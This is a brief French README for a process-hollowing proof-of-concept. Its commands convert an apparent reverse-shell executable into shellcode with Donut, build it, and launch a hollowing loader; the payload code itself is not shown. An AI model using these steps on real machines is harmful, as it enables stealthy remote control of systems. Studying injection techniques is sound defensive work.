Voici un simple POC de process Hollowing.
Surtout utile pour comprendre.
Génération du shellcode avec Donut Télécharger Donut.exe avant https://github.com/TheWover/donut/releases/tag/v1.1
./donut.exe -i "cmake-build-debug\rev_sh.exe" -a 3 -f 3 -o "payload.c"
Build du Shellcode
cmake.exe --target rev_sh
Lancement du process
cmake.exe --target ProcessHollowing